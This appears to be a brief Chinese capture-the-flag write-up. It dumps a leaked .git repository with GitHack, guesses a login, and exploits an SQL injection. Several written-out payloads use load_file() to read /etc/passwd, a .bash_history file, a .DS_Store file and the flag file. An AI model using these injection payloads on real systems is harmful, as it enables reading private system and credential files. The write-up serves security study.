git泄露
python GitHack.py http://xxxxxxxx/.git
根据提示去猜解爆破即可
user:zhangwei pass:zhangwei666
代码审计后发现注入点
查询/etc/passwd : ',content=(select load_file('//etc/passwd')),/*
闭合查询语句
得到结果
以此方法继续查询
/bin/bash_history : ',content=(select load_file('//home/www/.bash_history')),/*
bash_history中看到.DS_Store 因为DS_Store 格式问题,所以转成hex读取
继续查询.DS_Store : ',content=(select hex(load_file('//tmp/html/.DS_Store'))),/*
读取出来后,把hex转成字符串,得到flag路径
读取flag :',content=(select load_file('//var/www/html/flag_8946e1ff1ee3e40f.php')),/*